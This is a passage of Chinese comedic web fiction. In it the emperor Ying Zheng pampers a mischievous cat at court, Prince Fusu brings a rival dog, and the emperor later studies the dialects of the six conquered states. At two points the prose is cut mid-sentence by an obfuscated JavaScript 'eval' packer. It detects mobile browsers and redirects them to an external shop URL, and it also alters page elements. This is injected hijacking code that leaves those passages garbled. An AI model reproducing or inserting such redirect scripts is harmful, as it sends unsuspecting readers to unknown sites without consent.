那是一只猫,看起来不过两三个月大,浑身湿漉漉的,黑白花色分布得极不均匀,像是不小心打翻了墨汁。此刻,它似乎摔懵了,小脑袋晃了晃,甩了甩身上的水珠,然后抬起一双碧绿的、圆溜溜的眼睛,怯生生地看着嬴政。 “喵……”它细声细气地叫了一声,伸出粉嫩的小舌头,舔了舔嬴政按在竹简上的手指。 指尖传来温热、粗糙的触感,带着一丝痒意。 嬴政的手指微微蜷缩了一下。 “陛下,此物来路不明,恐有危险,让臣处理掉。”蒙毅沉声道。 “处理?”嬴政挑眉,看着那只小猫似乎听懂了一般,瑟瑟发抖地往他手心里钻,嘴里发出可怜的“呜呜”声。 “不必。”嬴政收回手,用指尖轻轻点了点小猫的额头,“不过是个……迷路的小东西。” “可是陛下……” “去拿块干布来。”嬴政打断他,语气不容置疑,“再传太医令,看看它有没有摔伤。” 蒙毅:“……”陛下,您确定要传太医给一只猫看病? 一刻钟后,章台殿内气氛诡异。 夏无且跪在地上,小心翼翼地给一只猫检查身体,额头上全是汗。那只小猫似乎很不配合,扭来扭去,最后干脆爬到嬴政的膝盖上,找了个舒服的位置,蜷缩成一团,打起了呼噜。 “回陛下,”夏无且硬着头皮汇报,“此猫……呃,这位……‘小主子’,身体无大碍,只是受了些惊吓,且有些……饿。” “饿了?”嬴政看着怀里那团温热的毛球,手指无意识地顺着它的背毛,“去御膳房,取些羊乳来。” “诺。”内侍领命而去。 很快,一碗温热的羊乳端了上来。嬴政将小猫放在案几上,它立刻凑过去,小脑袋埋进碗里,“吧嗒吧嗒”地喝了起来,尾巴尖还愉快地一翘一翘。 嬴政看着它,眼中闪过一丝连自己都未曾察觉的笑意。 “陛下,”李斯闻讯赶来,看到这一幕,眉头紧锁,“此乃宫外野物,恐带病气,且猫性狡黠,不宜豢养于御前……” “狡黠?”嬴政瞥了他一眼,“朕看它比某些整日里勾心斗角的大臣,要坦诚得多。” 李斯:“……”陛下您是不是在内涵谁? 就在这时,小猫喝饱了奶,满足地舔了舔爪子,然后迈着优雅的猫步,走到李斯面前,歪着头打量了他一番。 李斯下意识后退一步。 小猫突然伸出爪子,以迅雷不及掩耳之势—— “撕拉。” 李斯官袍的下摆,被划开了一道长长的口子。 “喵~”小猫得意地叫了一声,转身跳回嬴政怀里,蹭了蹭他的手心,仿佛在邀功。 李斯:“……”他感觉自己的血压在飙升。 嬴政看着李斯那副敢怒不敢言的样子,又看了看怀里这只“胆大包天”的小东西,终于忍不住,低笑出声。 “李斯。” “臣……在。” “看来,它不太喜欢你。”嬴政慢悠悠地说道,“退下吧,明日记得换身新袍子。” “……诺。”李斯憋着一肚子气,狼狈退下。 殿内只剩下嬴政和那只猫。 烛火摇曳,映照着一人一猫的影子。 “既然你从天而降,又敢抓丞相的袍子……”嬴政抚摸着猫儿柔软的毛发,沉吟片刻,“便赐你名——‘黑煞’。望你日后,替朕多抓几只‘老鼠’。” “喵!”黑煞似乎对这个名字很满意,响亮地应了一声。 自那日起,咸阳宫多了一条不成文的规定:上朝时,陛下怀里可以揣个“暖手炉”,且这个“暖手炉”偶尔会发出呼噜声,或者伸个懒腰,甚至……抢走大臣的奏章。 这日,御史大夫冯劫正在慷慨陈词,痛斥某位郡守贪赃枉法。 “陛下!此獠罪大恶极,若不严惩,何以正纲纪……” “喵~” 一声软糯的猫叫打断了冯劫的激情演讲。 冯劫一愣,抬头看去。只见陛下正襟危坐,神色严肃,但他怀里的那只黑白花猫,却探出了半个脑袋,一双绿眼睛好奇地盯着冯劫,似乎在问:“你在说什么呀?这么大声。” 冯劫嘴角抽搐了一下,硬着头皮继续:“臣以为,当处以……” “喵呜~”黑煞似乎对冯劫那颤动的胡须产生了兴趣,伸出爪子,在空中虚抓了两下。 冯劫下意识捂住了自己的胡子。 满朝文武憋着笑,肩膀耸动。 嬴政面不改色,伸手轻轻按住黑煞蠢蠢欲动的爪子,淡淡道:“冯卿继续。” “是……是……”冯劫深吸一口气,刚要开口—— “呼——” 黑煞大概是觉得无聊了,打了个大大的哈欠,然后从嬴政怀里跳出来,迈着慵懒的步子,走到了御案正中央,一屁股坐下,开始……舔毛。 它正好坐在了那堆待批阅的奏章上,把冯劫刚刚呈上的那一份,压在了屁股底下。 冯劫:“……” 嬴政看着那只霸占了他办公桌的小东西,无奈地摇了摇头,伸手想把它抱开。 “喵!”黑煞不满地叫了一声,伸出爪子抱住了嬴政的手腕,用带着倒刺的舌头舔了舔他的手指,然后顺势躺倒,露出柔软的肚皮,发出“呼噜呼噜”的声音,似乎在说:“别工作了,摸我。” 嬴政的手指顿了顿,然后……真的开始给它挠肚子。 满朝文武:“……” 李斯实在看不下去了,出列道:“陛下!此乃朝堂重地,岂容……” “李斯。”嬴政头也不抬,专心致志地挠着猫下巴,“你可知,为何它能上朝,而你只能站着?” 李斯一愣:“臣……不知。” “因为它不会像你一样,整日里说些废话。”嬴政瞥了他一眼,“它若是觉得朕做得不对,只会抓朕的袖子,而不是写万言书来烦朕。” 李斯:“……”陛下,您这是指桑骂槐啊! “好了,”嬴政抱起心满意足的黑煞,重新放回怀里,“冯劫,你方才所说,朕准了。退朝。” “谢陛下!”冯劫如蒙大赦,赶紧退下。 走出大殿,众臣面面相觑,最后都看向李斯。 “李大人,这……以后上朝,是不是得备点小鱼干?” 李斯黑着脸:“备什么备!那是猫吗?那是……那是陛下的新宠!都给我小心点,别惹毛了它,不然下次被挠的就是你们!” 如果说上朝只是“小打小闹”,那么御书房,就是黑煞真正的“狩猎场”。 这日,嬴政正在召见几位重臣,商议修建驰道之事。 “陛下,驰道宽五十步,需征发民夫三十万,耗资巨大……”治粟内史小心翼翼地汇报着预算。 嬴政眉头紧锁,手指敲击着桌面。 黑煞原本趴在窗台上晒太阳,听到敲击声,耳朵动了动,睁开了眼睛。它盯着嬴政那不断敲击的手指,瞳孔慢慢收缩,身体伏低,尾巴尖轻轻摆动。 那是猫科动物准备捕猎的标准姿势。 “此事……”嬴政刚要开口。 “嗖——” 一道黑白相间的影子闪过。 “啊!”治粟内史惊呼一声,手中的算盘被一只猫爪精准地拍飞,算珠“噼里啪啦”散落一地。 黑煞叼着算盘,得意洋洋地跳上嬴政的膝盖,把算盘放在他面前,然后用脑袋蹭了蹭嬴政的手,仿佛在说:“看,我给你带了个好玩的!” 嬴政看着怀里邀功的小家伙,又看了看地上目瞪口呆的治粟内史,嘴角抽了抽,最终化作一声无奈的叹息。 “罢了,今日先议到这里。” “诺……”几位大臣如释重负,赶紧收拾东西准备开溜。 就在这时,黑煞又动了。 它似乎对蒙毅腰间佩戴的玉佩产生了兴趣。那是蒙毅心爱之物,通体翠绿,价值连城。 “喵!”黑煞伸出爪子,快如闪电,对着玉佩就是一勾。 “啪嗒。” 玉佩掉落在地,滚到了书架底下。 蒙毅:“……”我的玉! 黑煞“嗖”地一下钻到书架底下,很快,里面传来“叮叮当当”的声音,显然是在把玉佩当球踢。 蒙毅心疼得脸都绿了,却不敢去捡。 嬴政揉了揉眉心,对蒙毅道:“回头朕赏你一块更好的。” “谢陛下……”蒙毅欲哭无泪。 好不容易把大臣们都打发走了,嬴政看着满地的狼藉——散落的算珠、滚到角落的砚台、被抓出丝线的地毯,以及正趴在他膝盖上,舔着爪子,一脸无辜的黑煞。 “你呀……”嬴政伸手点了点它的鼻尖,“真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387644|200270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个混世魔王。” “喵~”黑煞用脑袋顶了顶他的手指,舒服地眯起眼。 阿弃端着茶点进来,看到这一幕,忍不住笑道:“陛下,黑煞这是帮您赶走那些烦人的大臣呢。” “哦?”嬴政挑眉,“怎么说?” “您看,每次大臣们说些让您头疼的废话,黑煞就会捣乱。它这是在告诉您,别听他们瞎扯,不如陪它玩。”阿弃一本正经地解释。 嬴政失笑:“照你这么说,它还是朕的‘谏官’了?” “可不是嘛!”阿弃点头,“而且是不收贿赂、只收小鱼干的清官!” 嬴政看着怀里这只“清官”,眼中闪过一丝暖意。 或许,阿弃说得对。这偌大的皇宫,处处是规矩,处处是算计,只有这只小东西,心思单纯,喜欢就蹭,不喜欢就挠,反而让他觉得……真实。 夜深了,嬴政还在批阅奏章。 烛火跳动,映照着他略显疲惫的侧脸。他揉了揉太阳穴,端起旁边的参茶,却发现茶已经凉了。 “来人,换茶。” 话音刚落,一只温热的小爪子搭在了他的手背上。 嬴政低头,黑煞不知何时醒了,正蹲坐在案几上,歪着头看他,绿眼睛里倒映着烛光。 “怎么,你也渴了?”嬴政问。 黑煞“喵”了一声,伸出舌头,舔了舔他刚才揉太阳穴的手指,然后往前走了两步,用脑袋顶了顶他的下巴,喉咙里发出“咕噜咕噜”的声音,像是在安慰他。 嬴政的心,突然软了一下。 他放下笔,将黑煞抱到怀里,轻轻抚摸着它柔软的毛发。 “你也觉得朕太累了吗?” “喵。” “是啊,朕是皇帝,不能累。”嬴政自嘲地笑了笑,“所有人都指望朕,怕朕,算计朕。只有你……” 只有你,不怕朕,不算计朕,只是单纯地……陪着朕。 黑煞似乎听懂了他的话,调整了一下姿势,把脑袋枕在他的臂弯里,安心地闭上了眼睛,呼噜声再次响起。 这呼噜声,在这寂静的深夜里,竟比任何安神香都管用。 嬴政看着它安静的睡颜,心中的烦躁和疲惫,竟奇迹般地消散了许多。 “阿弃。” “在。”阿弃从角落里走出来。 “传旨,明日休朝一日。” 阿弃一愣:“陛下,明日还有……” “就说朕……偶感风寒。”嬴政抱着猫,站起身,“朕要陪黑煞……晒太阳。” “诺!”阿弃笑着应道。 冬去春来,黑煞长大了不少,已经从一只小奶猫,变成了一只威风凛凛的……大肥猫。 它依然是咸阳宫的“一霸”,上可抓丞相胡须,下可抢将军玉佩,甚至连嬴政最心爱的冕旒,都被它当成了逗猫棒,玩坏了好几串。 但这并不妨碍嬴政对它宠爱有加。 这日,阳光正好,嬴政抱着黑煞,坐在御花园的亭子里晒太阳。 黑煞懒洋洋地趴在他腿上,享受着帝王的“马杀鸡”,舒服得直打滚。 “陛下,”阿弃在一旁剥着葡萄,“您说,黑煞要是能说话,第一句会说什么?” 嬴政想了想,道:“大概会说……‘朕饿了,快给朕上小鱼干’。” “哈哈哈,我看它会说‘大胆奴才,竟敢不给朕挠痒痒’!” 两人正说笑着,李斯和蒙毅走了过来。 “陛下,关于……” “嘘。”嬴政做了个噤声的手势,指了指腿上已经睡着了的黑煞。 两人立刻闭嘴,放轻了脚步。 嬴政看着怀里睡得香甜的黑煞,又看了看远处湛蓝的天空,心中一片宁静。 他一生追求长生,追求不朽,可如今,他却觉得,在这短暂的人世间,能有这样一个毛茸茸的小生命,全心全意地依赖着他,陪伴着他,或许……比长生更重要。 “李斯。” “臣在。” “传朕旨意,从今日起,宫中设立‘猫舍’,收留那些无家可归的猫儿。由……黑煞统领。” 李斯:“……”陛下,您这是要组建一支“猫军”吗? 但他看着陛下眼中那难得的温柔,最终什么也没说,只是躬身行礼:“诺。” 阳光洒在亭子里,暖洋洋的。 嬴政轻轻抚摸着黑煞的背毛,低声道:“睡吧,朕在这儿。” “喵……”黑煞在梦中轻轻回应了一声,尾巴缠上了他的手腕。 关于陛下最近沉迷养猫这件事,朝野上下虽有微词,但无人敢劝。 因为他们都知道,那只猫,不仅是陛下的宠物,更是这冰冷深宫中,唯一的……解药。 4. 关于公子扶苏养了一只狗这件事 咸阳宫的格局,近来发生了一些微妙的变化。 以前,章台殿是权力的中心,是肃穆、冷硬、充满墨香和竹简味的。现在,章台殿依然是权力的中心,但空气中多了一股……猫粮味,以及若有若无的猫毛。 御座旁专门增设了一张铺着软垫的小榻,那是“黑煞大人”的专座。嬴政批阅奏章累了,就会伸手挠挠猫下巴,听着那“呼噜呼噜”的声音,紧锁的眉头便会舒展开来。 而公子扶苏,这位大秦帝国的长公子,曾经父皇最看重的继承人,如今在章台殿的地位,大概排在……黑煞之后,李斯之前。 “父皇,儿臣以为,关于儒生……”扶苏手持竹简,正欲进言。 “嘘。”嬴政做了个噤声的手势,指了指趴在他腿上睡得正香的黑煞,“小声点,别吵醒它。” 扶苏:“……” 他默默地闭上嘴,看着父皇小心翼翼地将猫抱到软垫上,动作轻柔得仿佛在对待一件稀世珍宝。那是扶苏从未享受过的待遇。他记得小时候,他背书声音大一点,父皇都会皱眉呵斥:“成何体统!” 如今,一只猫在朝堂上打呼噜,父皇却说:“此乃天籁之音。” 扶苏觉得,自己的地位受到了前所未有的挑战。这种挑战,比胡亥的撒娇、李斯的谗言、赵高的阴谋都要可怕,因为它来自于一只……毛茸茸的、会掉毛的生物。 “公子,您这是怎么了?”回到自己的寝宫,侍从阿弃看着自家公子对着铜镜长吁短叹,忍不住问道。 “阿弃,”扶苏转过身,一脸严肃,“你说,本公子是不是……失宠了?” 阿弃嘴角抽搐了一下:“公子,您多虑了。陛下对您寄予厚望,只是最近……比较偏爱那只猫。” “偏爱?”扶苏冷笑一声,“昨日父皇赏了黑煞一条东海进贡的珍珠项链,说是……‘镇魂’。本公子上次生辰,父皇赏的是一卷《韩非子》,让本公子‘勤加研读’。” 阿弃:“……”这对比确实有点惨烈。 “不行,”扶苏猛地站起身,眼中闪烁着决绝的光芒,“本公子不能坐以待毙。既然父皇喜欢毛茸茸的动物,那本公子……也养一只!” “公子想养猫?”阿弃试探道,“可是陛下已经有了黑煞,您再养猫,怕是难以超越……” “谁说本公子要养猫?”扶苏嘴角勾起一抹意味深长的笑,“猫性狡黠,且已有人捷足先登。本公子要养……就养狗。” “狗?”阿弃一愣。 “对,狗。”扶苏负手而立,望向章台殿的方向,语气带着几分“复仇”的快意,“猫狗天生不对付。本公子倒要看看,那只黑猫,能不能斗得过本公子的……神犬!” 扶苏说到做到,立刻修书一封,送往北疆,给正在戍边的蒙恬。 “蒙将军,见信如晤。闻北地有猛犬,性烈而忠,可搏虎狼。望将军为吾寻一良种,速送咸阳。事关重大,切切!” 半个月后,一只巨大的木笼被运进了扶苏的寝宫。 当笼门打开时,扶苏和阿弃都倒吸了一口凉气。 笼子里趴着的,与其说是一只狗,不如说是一头小牛犊。它通体漆黑,只有四只爪子是雪白的,像是踏着云朵。它的脑袋硕大,眼神凶悍,脖颈上的鬃毛浓密,随着呼吸微微起伏。 “这……这是狗?”阿弃声音发颤。 “汪!” 那狗低吼一声,声音浑厚,震得窗户纸都在抖。它站起身,足有半人高,肌肉虬结,充满了力量感。 “好!好一条神犬!”扶苏大喜,这正是他想要的效果!父皇那只猫,在它面前,简直就是个小点心! “公子,这狗……看着有点凶啊。”阿弃躲在扶苏身后,“它会不会……” “不会。”扶苏自信满满,“蒙将军信中说,此犬名为‘踏雪’,虽猛,但极通人性,且已驯化。” 他走上前,学着父皇对待黑煞的样子,伸出手,试图去摸踏雪的头。 踏雪警惕地盯着他,鼻翼翕动,嗅了嗅他的手指。突然,它张开血盆大口—— 阿弃吓得闭上了眼。 然而,踏雪并没有咬下去,而是伸出粗糙的大舌头,热情地舔了舔扶苏的手心,尾巴摇得像风车一样,甚至把地上的灰尘都扫了起来。 “哈哈,好狗!”扶苏彻底放下心来,摸着踏雪毛茸茸的大脑袋,“以后,你就跟着本公子。你的任务只有一个——帮本公子,夺回父皇的宠爱!” 踏雪:“汪!”(包在我身上!) 经过几天的突击训练,扶苏觉得时机成熟了。他特意选在父皇心情不错的午后,带着踏雪,前往章台殿“请安”。 “父皇,儿臣近日得一奇物,特来献与父皇观赏。”扶苏行礼道。 “哦?”嬴政正在逗弄黑煞,头也不抬,“又是哪个郡县进贡的奇石?还是哪个方士炼的丹药?” “非也。”扶苏微微一笑,拍了拍手,“踏雪,进来。” “咚、咚、咚。” 沉重的脚步声传来,仿佛有什么巨兽正在靠近。 嬴政抬起头,眉头微皱。当他看到门口那个巨大的黑影时,握着朱笔的手顿住了。 踏雪迈着沉稳的步伐走进大殿。它似乎受过专门训练,走到离御座三丈远的地方停下,前肢伏地,低下头,发出一声低沉而恭敬的呜咽,像是在行臣子礼。 “这是……”嬴政眼中闪过一丝惊讶,“犬?” “回父皇,此乃北地神犬,名‘踏雪’。”扶苏得意地介绍,“可日行百里,搏杀虎狼,且忠心耿耿,护主心切。儿臣以为,此犬比那些只会撒娇卖萌的……” 他话还没说完,原本趴在嬴政腿上打盹的黑煞,突然睁开了眼睛。 猫的直觉是敏锐的。在踏雪踏入大殿的那一刻,黑煞全身的毛就炸了起来。它弓起背,喉咙里发出“嘶嘶”的威胁声,碧绿的眼睛死死盯着踏雪,仿佛在看一个入侵者。 踏雪也注意到了这只小黑猫。它歪了歪头,似乎有些好奇。在它的认知里,这应该是……老鼠?还是兔子?反正很小,不够塞牙缝的。 出于礼貌,踏雪友好地摇了摇尾巴,往前走了两步,想打个招呼。 然而,在猫的世界里,摇尾巴是挑衅的信号。 “喵——!!!” 黑煞发出一声凄厉的尖叫,化作一道黑色闪电,猛地扑向踏雪,伸出爪子,对着踏雪的鼻子就是一挠! “嗷呜!” 踏雪吃痛,惨叫一声,下意识地甩头。它体型巨大,这一甩,直接把黑煞甩飞了出去。 “黑煞!”嬴政脸色一变,霍然起身。 黑煞在空中灵活地翻身,稳稳落地,但显然被激怒了,全身毛发倒竖,龇牙咧嘴,准备发动第二轮攻击。 踏雪也被惹毛了。它堂堂北地神犬,竟然被一只小不点挠了鼻子!它低吼一声,前爪刨地,做出了扑击的姿态。 “住手!”扶苏大惊失色,赶紧去拉踏雪的链子。 “喵!” “汪!” 一猫一狗,在大殿中央对峙,剑拔弩张,大战一触即发。 “够了!”嬴政厉声喝道。 黑煞立刻收起凶相,委屈地“喵”了一声,转身跳回嬴政怀里,用脑袋蹭着他的胸口,仿佛在告状。 踏雪也意识到自己闯祸了,呜咽一声,趴在地上,耳朵耷拉下来,偷偷瞄着扶苏。 扶苏冷汗都下来了:“父皇息怒!踏雪它……它只是……” “只是什么?”嬴政冷冷地看着他,“扶苏,你带这么一只猛犬进宫,是想吓唬朕,还是想吓唬朕的猫?” “儿臣不敢!”扶苏赶紧跪下,“儿臣只是想……” “想跟朕的猫争宠?”嬴政一针见血。 扶苏:“……”父皇,您看破不说破行吗? 嬴政看着跪在地上的儿子,又看了看怀里装可怜的黑煞,和地上那只虽然认错但体型依旧吓人的大狗,突然觉得有些头疼。 “罢了。”他挥挥手,“把你的狗带回去,严加看管。以后没有朕的允许,不许带它进章台殿。” “……诺。”扶苏垂头丧气地拉着踏雪退下。 临走前,踏雪似乎有些不甘心,回头看了一眼黑煞。 黑煞从嬴政怀里探出半个脑袋,对着踏雪,得意地舔了舔爪子,眼神仿佛在说:“小样,跟我斗?” 踏雪:“……”这猫成精了! 虽然被明令禁止进入章台殿,但这并不能阻止扶苏的“复仇”计划,更不能阻止踏雪和黑煞之间的“战争”。 御花园,成了新的战场。 这日,阳光明媚,嬴政难得有闲情逸致,在御花园散步,黑煞照例跟在他脚边。 突然,草丛里传来一阵“沙沙”声。 黑煞耳朵一动,停下脚步,警惕地盯着草丛。 “嗖——” 一道黑白相间的影子闪过,踏雪从草丛里钻出来,嘴里叼着一根巨大的骨头,炫耀似的在空地上跑来跑去,还把骨头抛向空中,再接住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387645|200270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “汪汪!”(看我!) 黑煞眯起眼睛。它认得那根骨头,是御膳房特意为它磨牙用的牛骨,只是还没送到它手里,就被这只蠢狗截胡了。 “喵!”(那是我的!) 黑煞压低身子,悄无声息地靠近。 踏雪正玩得高兴,突然感觉背上一沉。黑煞不知何时跳到了它的背上,伸出爪子,对着它的耳朵就是一通乱挠。 “嗷呜!”踏雪吃痛,拼命甩动身体,想把黑煞甩下去。 黑煞却死死抓住它的鬃毛,像骑马一样骑在它身上,甚至还伸出爪子拍它的屁股,催促它快跑。 “汪汪汪!”(你给我下来!) 踏雪在花园里横冲直撞,撞翻了花盆,踩烂了草坪,惊飞了鸟雀。 “胡闹!” 嬴政看着眼前的一片狼藉,脸色铁青。 扶苏气喘吁吁地跑过来:“父皇息怒!儿臣……儿臣这就把踏雪带回去关禁闭!” “不必了。”嬴政冷冷道,“既然它们精力这么旺盛,那就给朕找点事做。从今日起,踏雪负责看守御花园,不许任何鸟雀进来啄食花果。黑煞……负责监督它。” 扶苏:“……”让狗看门,让猫监督狗?父皇,您这分工……是不是有点草率? 然而,嬴政的命令就是圣旨。 于是,御花园出现了这样一幅奇景: 一只巨大的黑狗,兢兢业业地巡逻,看到有鸟落下,就狂吠着冲过去驱赶。 而在它身后不远处的假山上,一只黑猫慵懒地趴着,晒着太阳,偶尔抬起眼皮瞥一眼,如果发现踏雪偷懒,就会发出一声不满的“喵”,踏雪就得赶紧跑起来。 “汪!”(累死我了!) “喵~”(活该,谁让你抢我骨头。) 日子一天天过去,扶苏发现,自己夺回父皇宠爱的计划……似乎彻底失败了。 父皇不仅没有因为踏雪而疏远黑煞,反而因为有了踏雪这个“苦力”,黑煞的地位更加稳固了。 而踏雪,似乎也认命了。它不再试图挑衅黑煞,反而……有点怕它。 这天,扶苏正在寝宫看书,突然听到外面传来一阵急促的犬吠声,还夹杂着黑煞尖锐的叫声。 “不好!又打起来了!” 扶苏赶紧冲出去,却看到了一幅让他意想不到的画面。 踏雪趴在地上,前爪似乎受了伤,正在流血。而黑煞并没有攻击它,而是围着它焦急地转圈,嘴里发出“呜呜”的叫声,然后用牙齿咬住踏雪的项圈,似乎想把它拖走。 “这是……”扶苏愣住了。 阿弃跑过来,气喘吁吁地说道:“公子,刚才有只野猪闯进了御花园,踏雪为了保护黑煞,跟野猪打了一架,被顶伤了!” 扶苏心头一震。踏雪……保护了黑煞? 他快步走过去,检查踏雪的伤口。还好,只是皮外伤。 踏雪看到扶苏,委屈地“呜”了一声,用脑袋蹭了蹭他的手。 黑煞也停止了叫唤,它走到踏雪身边,伸出舌头,轻轻舔了舔踏雪受伤的前爪,然后抬头看着扶苏,眼神里没有了平日的傲气,反而带着一丝……请求。 它在求扶苏救踏雪。 扶苏看着这一猫一狗,心中百感交集。他苦心积虑想让它们斗个你死我活,没想到,它们却在危险来临时,选择了并肩作战。 “阿弃,快去传太医!”扶苏吩咐道。 “诺!” 扶苏蹲下身,摸了摸踏雪的脑袋,又摸了摸黑煞的头,苦笑道:“罢了,本公子认输。父皇的宠爱,你们……平分吧。” 踏雪:“汪!”(成交!) 黑煞:“喵~”(这还差不多。) 从那以后,咸阳宫里多了一对奇怪的“搭档”。 一只威猛的神犬,和一只傲娇的黑猫。 它们依然会吵架,会抢食,会互相使绊子。但当有外人试图伤害对方,或者伤害它们的“铲屎官”时,它们会毫不犹豫地站在同一阵线。 至于公子扶苏…… 他依然会去章台殿请安,只是不再带着争宠的心思。他看着父皇一边批阅奏章,一边听着脚下猫狗打架的动静,嘴角带着无奈却又满足的笑意。 扶苏突然明白了,父皇需要的,或许不是一只听话的猫,或者一只忠诚的狗,而是一个……热闹的,有烟火气的家。 而他,似乎也在这个家里,找到了属于自己的位置——那个负责收拾烂摊子,以及……买小鱼干和肉骨头的人。 5. 关于陛下最近在学六国方言这件事 章台殿内,气氛有些微妙。 李斯手持笏板,正在汇报关于统一度量衡的进展,言辞恳切,数据详实。然而,御座上的那位,似乎有些……心不在焉。 嬴政单手支颐,另一只手的手指在龙椅扶手上轻轻敲击,节奏时快时慢。他的目光并未聚焦在李斯身上,而是越过他的肩膀,看向殿外那片湛蓝的天空,嘴里还无声地念叨着什么,嘴唇微微翕动。 “陛下?”李斯汇报完毕,等了半晌不见回应,忍不住抬头唤了一声。 嬴政猛地回神,敲击的手指停住,视线落回李斯身上,带着一丝被打断的不悦:“嗯?说完了?” “是……陛下可还有何示下?” 嬴政坐直身体,清了清嗓子,突然开口,用一种极其古怪的腔调问道:“李爱卿,侬觉得,则个事体,哪能办才好伐?” 李斯:“???” 满朝文武:“???” 大殿内死一般的寂静。所有人都瞪大了眼睛,怀疑自己的耳朵出了问题。 陛下刚才……说的是什么?听起来像是……楚地方言?可这调子,怎么听着这么像市井无赖在讨价还价? “陛、陛下……”李斯舌头都有些打结,“您……您刚才说什么?” 嬴政皱了皱眉,似乎对自己的发音不太满意,又换了一种口音,这次带着浓重的燕赵腔,卷舌音重得吓人:“俺是说,这事儿,你们咋整的?磨磨唧唧的!” “噗——” 站在嬴政身后的阿弃,死死捂住嘴,肩膀剧烈抖动,脸憋得通红。 蒙毅站在武将队列最前方,嘴角疯狂抽搐,赶紧低下头,生怕自己笑出声来。 李斯感觉自己快要晕过去了。他求助地看向旁边的王绾,王绾也是一脸茫然,冲他摇了摇头,表示自己也没听懂。 “陛下,”李斯硬着头皮,试图把话题拉回正轨,“关于度量衡之事,臣以为……” “停。”嬴政抬手打断他,似乎失去了耐心,又切换回标准的秦腔,语气带着几分嫌弃,“罢了,看你那副呆样,也听不懂。退朝!” 说完,他起身,袍袖一甩,大步流星地往后殿走去,边走边对身旁的阿弃低声抱怨:“这齐语也太难学了,舌头都快打结了。” 阿弃拼命点头,小声道:“陛下,您刚才那句楚语,听着不像贵族,倒像是……倒像是杀猪的。” 嬴政脚步一顿,眯起眼睛看向阿弃:“哦?那你来一句给朕听听?” 阿弃:“……臣不敢。” 第二章:那个“多才多艺”的方士 这一切,都要从三天前说起。 那日,嬴政正在为如何彻底消除六国遗民的反叛之心而烦恼。虽然六国已灭,但各地的方言差异极大,言语不通,政令推行便受阻,民心也难以凝聚。 “陛下,”一位来自齐地的方士,卢生,趁机进言,“臣观天象,见紫微星旁有异气,此乃六国余孽未散之兆。若要彻底根除,需从‘言’入手。” “言?”嬴政挑眉。 “正是。”卢生捋着胡须,一脸高深莫测,“言语者,心之声也。陛下若能通晓六国方言,便能听懂他们的心声,知其好恶,方能对症下药,使其归心。此乃……‘以彼之道,还施彼身’。” 嬴政闻言,眼中闪过一丝精光。 通晓六国方言,不仅能更好地统治,还能……暗中监视那些心怀不轨之人,听听他们在背后到底在骂朕什么。 “善!”嬴政一拍桌案,“卢生,此事便交由你去办。即刻去寻访六国精通音律、方言之人,入宫教朕。” “臣遵旨!”卢生大喜,这可是个接近陛下的好机会。 于是,咸阳宫迎来了一批特殊的“老师”。 第一位,是来自楚地的乐师,专教楚语。 “陛下,请跟臣念:''沅有芷兮澧有兰,思公子兮未敢言''……”乐师声音婉转,带着浓浓的楚地风情。 嬴政正襟危坐,一本正经地跟读:“''圆有纸兮里有烂,死公子兮喂敢言''……” 乐师:“……”陛下,您这调子,听着不像思慕公子,倒像是要去刨人家祖坟。 第二位,是来自燕地的游士,教燕语。 “陛下,燕人说话,讲究个''儿化音'',得卷着舌头说。比如''吃饭'',咱就说''吃饭儿''……”游士示范道。 嬴政试着卷舌头:“吃……饭儿……咳咳!”他差点把自己呛到。 阿弃在一旁看得心惊胆战,生怕陛下一个不高兴,把老师的舌头给拔了。 然而,嬴政却异常有耐心,甚至……有些沉迷。 “有趣,甚是有趣。”嬴政看着竹简上记录的各国发音规律,眼中闪烁着求知的光芒,“这韩语短促,魏语绵长,赵语豪放……原来这天下之大,竟有如此多种说话的方式。” 阿弃忍不住问道:“陛下,您学这些,真的只是为了……统治吗?” 嬴政瞥了他一眼,嘴角勾起一抹意味深长的笑:“当然不止。朕听说,那些被朕迁来咸阳的六国贵族,私下聚会时,总爱用方言交谈,以为朕听不懂。朕倒要看看,他们到底在说些什么。” 阿弃恍然大悟。原来陛下是想当“卧底”啊! 第三章:微服出巡的“听力测试” 为了检验学习成果,嬴政决定再次微服出巡,这次的目的地是——咸阳最大的酒肆,那里是六国遗民最喜欢聚集的地方。 嬴政换上了一身普通的儒生服饰,带着阿弃和扮作随从的蒙毅,找了个不起眼的角落坐下。 果然,不一会儿,隔壁桌来了几个穿着华丽的男子,看打扮,像是曾经的赵地贵族。 “哎,这日子没法过了!”一人拍着桌子,用赵语抱怨道,“那暴君把咱们弄到咸阳来,又不给实权,整日里监视着,跟坐牢似的!” “嘘!小点声!”另一人紧张地看了看四周,“隔墙有耳!” “怕什么!”那人满不在乎,“这咸阳城里,有几个听得懂咱们赵语的?再说了,那暴君整天待在宫里,还能跑到这儿来听墙角?” 嬴政端着酒杯的手顿了顿,嘴角微微上扬。他冲阿弃使了个眼色,示意他别出声。 “就是,”又一人附和道,这次用的是韩语,“那嬴政,就是个蛮子!除了杀人,还会什么?听说他最近还在学什么长生不老术,我看他是想长生想疯了,早晚吃丹药吃死!” “哈哈哈!说得对!”几人哄笑起来,各种方言混杂在一起,骂得越来越难听。 蒙毅脸色铁青,手已经按在了剑柄上,却被嬴政用眼神制止。 嬴政不紧不慢地喝了口酒,突然开口,用一口流利得吓人的赵语说道:“几位兄台,慎言啊。这咸阳城,虽然听得懂赵语的人不多,但也不是没有。” 